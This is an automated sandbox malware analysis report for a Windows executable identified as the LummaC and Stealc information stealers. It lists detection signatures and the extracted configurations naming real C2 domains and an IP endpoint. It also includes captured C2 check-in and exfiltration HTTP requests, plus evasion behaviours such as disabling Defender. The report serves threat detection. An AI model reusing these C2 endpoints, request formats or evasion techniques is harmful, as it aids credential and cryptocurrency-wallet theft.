Edit tour

Windows Analysis Report
FBVmDbz2nb.exe

Overview

General Information

Sample name:	FBVmDbz2nb.exe renamed because original name is a hash value
Original sample name:	09b1bb35206793151b49f63777b91054.exe
Analysis ID:	1579770
MD5:	09b1bb35206793151b49f63777b91054
SHA1:	37c9c920869362b5455a70a98fb901d5d5a340e5
SHA256:	66599079adbb952b99adca3b776a860e4ace86b0cf7af08a4dc3b001cda657a8
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

FBVmDbz2nb.exe (PID: 1380 cmdline: "C:\Users\user\Desktop\FBVmDbz2nb.exe" MD5: 09B1BB35206793151B49F63777B91054)

225E7CNEQKY05J8BSS2KINA.exe (PID: 3556 cmdline: "C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe" MD5: 579641D4119C3977AA3E5FDCBB740D8B)

RBZFTNPOH3OCI4WNHGK52I3.exe (PID: 1524 cmdline: "C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe" MD5: 59729E914FA8E15D347129643C03AC1F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["smash-boiling.cyou", "greywe-snotty.cyou", "sendypaster.xyz", "steppriflej.xyz", "cuddlyready.xyz", "ripe-blade.cyou", "hosue-billowy.cyou", "pollution-raker.cyou", "supporse-comment.cyou"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.1701899059.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1756467300.0000000000531000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: FBVmDbz2nb.exe PID: 1380	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: FBVmDbz2nb.exe PID: 1380	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: FBVmDbz2nb.exe PID: 1380	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:52:51.935894+0100	2028371	3	Unknown Traffic	192.168.2.9	49717	104.21.32.96	443	TCP
2024-12-23T08:52:53.920113+0100	2028371	3	Unknown Traffic	192.168.2.9	49723	104.21.32.96	443	TCP
2024-12-23T08:52:56.415964+0100	2028371	3	Unknown Traffic	192.168.2.9	49729	104.21.32.96	443	TCP
2024-12-23T08:52:59.013748+0100	2028371	3	Unknown Traffic	192.168.2.9	49740	104.21.32.96	443	TCP
2024-12-23T08:53:01.247703+0100	2028371	3	Unknown Traffic	192.168.2.9	49746	104.21.32.96	443	TCP
2024-12-23T08:53:03.850515+0100	2028371	3	Unknown Traffic	192.168.2.9	49752	104.21.32.96	443	TCP
2024-12-23T08:53:06.435138+0100	2028371	3	Unknown Traffic	192.168.2.9	49759	104.21.32.96	443	TCP
2024-12-23T08:53:10.122172+0100	2028371	3	Unknown Traffic	192.168.2.9	49771	104.21.32.96	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:52:52.694147+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49717	104.21.32.96	443	TCP
2024-12-23T08:52:54.709104+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49723	104.21.32.96	443	TCP
2024-12-23T08:53:10.877104+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49771	104.21.32.96	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:52:52.694147+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49717	104.21.32.96	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:52:54.709104+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49723	104.21.32.96	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:53:12.335287+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49777	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:53:02.202627+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49746	104.21.32.96	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:53:27.428084+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49808	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: FBVmDbz2nb.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: RBZFTNPOH3OCI4WNHGK52I3.exe.1524.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: FBVmDbz2nb.exe.1380.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["smash-boiling.cyou", "greywe-snotty.cyou", "sendypaster.xyz", "steppriflej.xyz", "cuddlyready.xyz", "ripe-blade.cyou", "hosue-billowy.cyou", "pollution-raker.cyou", "supporse-comment.cyou"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: FBVmDbz2nb.exe	Virustotal: Detection: 53%			Perma Link
Source: FBVmDbz2nb.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: FBVmDbz2nb.exe

Joe Sandbox ML: detected

Source: FBVmDbz2nb.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49771 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49808 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49717 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49717 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49771 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49746 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49723 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49723 -> 104.21.32.96:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: smash-boiling.cyou
Source: Malware configuration extractor	URLs: greywe-snotty.cyou
Source: Malware configuration extractor	URLs: sendypaster.xyz
Source: Malware configuration extractor	URLs: steppriflej.xyz
Source: Malware configuration extractor	URLs: cuddlyready.xyz
Source: Malware configuration extractor	URLs: ripe-blade.cyou
Source: Malware configuration extractor	URLs: hosue-billowy.cyou
Source: Malware configuration extractor	URLs: pollution-raker.cyou
Source: Malware configuration extractor	URLs: supporse-comment.cyou

Performs DNS queries to domains with low reputation

Source:

DNS query: cuddlyready.xyz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:53:11 GMTContent-Type: application/octet-streamContent-Length: 2765312Last-Modified: Mon, 23 Dec 2024 07:19:04 GMTConnection: keep-aliveETag: "67690ee8-2a3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 72 64 6f 66 70 68 65 00 c0 29 00 00 a0 00 00 00 a2 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 6f 61 6c 76 6f 76 00 20 00 00 00 60 2a 00 00 06 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 10 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:53:16 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 23 Dec 2024 07:21:00 GMTConnection: keep-aliveETag: "67690f5c-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 72 69 63 72 6f 00 a0 29 00 00 c0 24 00 00 a0 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6a 6c 76 79 6c 64 6c 00 10 00 00 00 60 4e 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4e 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAKKEGCAAFHJJJDBKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 43 43 37 37 42 30 42 46 33 46 33 32 33 35 31 31 34 31 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="hwid"43CC77B0BF3F3235114199------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="build"stok------GHCAKKEGCAAFHJJJDBKJ--

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49717 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49740 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49759 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49752 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49777 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49746 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49723 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49729 -> 104.21.32.96:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49771 -> 104.21.32.96:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=U62P71TDLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12791Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1TF8LFQ69GVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15021Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JSDRCW3AF36GNCYWLRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20579Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=292T7TPAQQ1OJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1203Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J72WYFQ035BHFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585082Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: cuddlyready.xyz
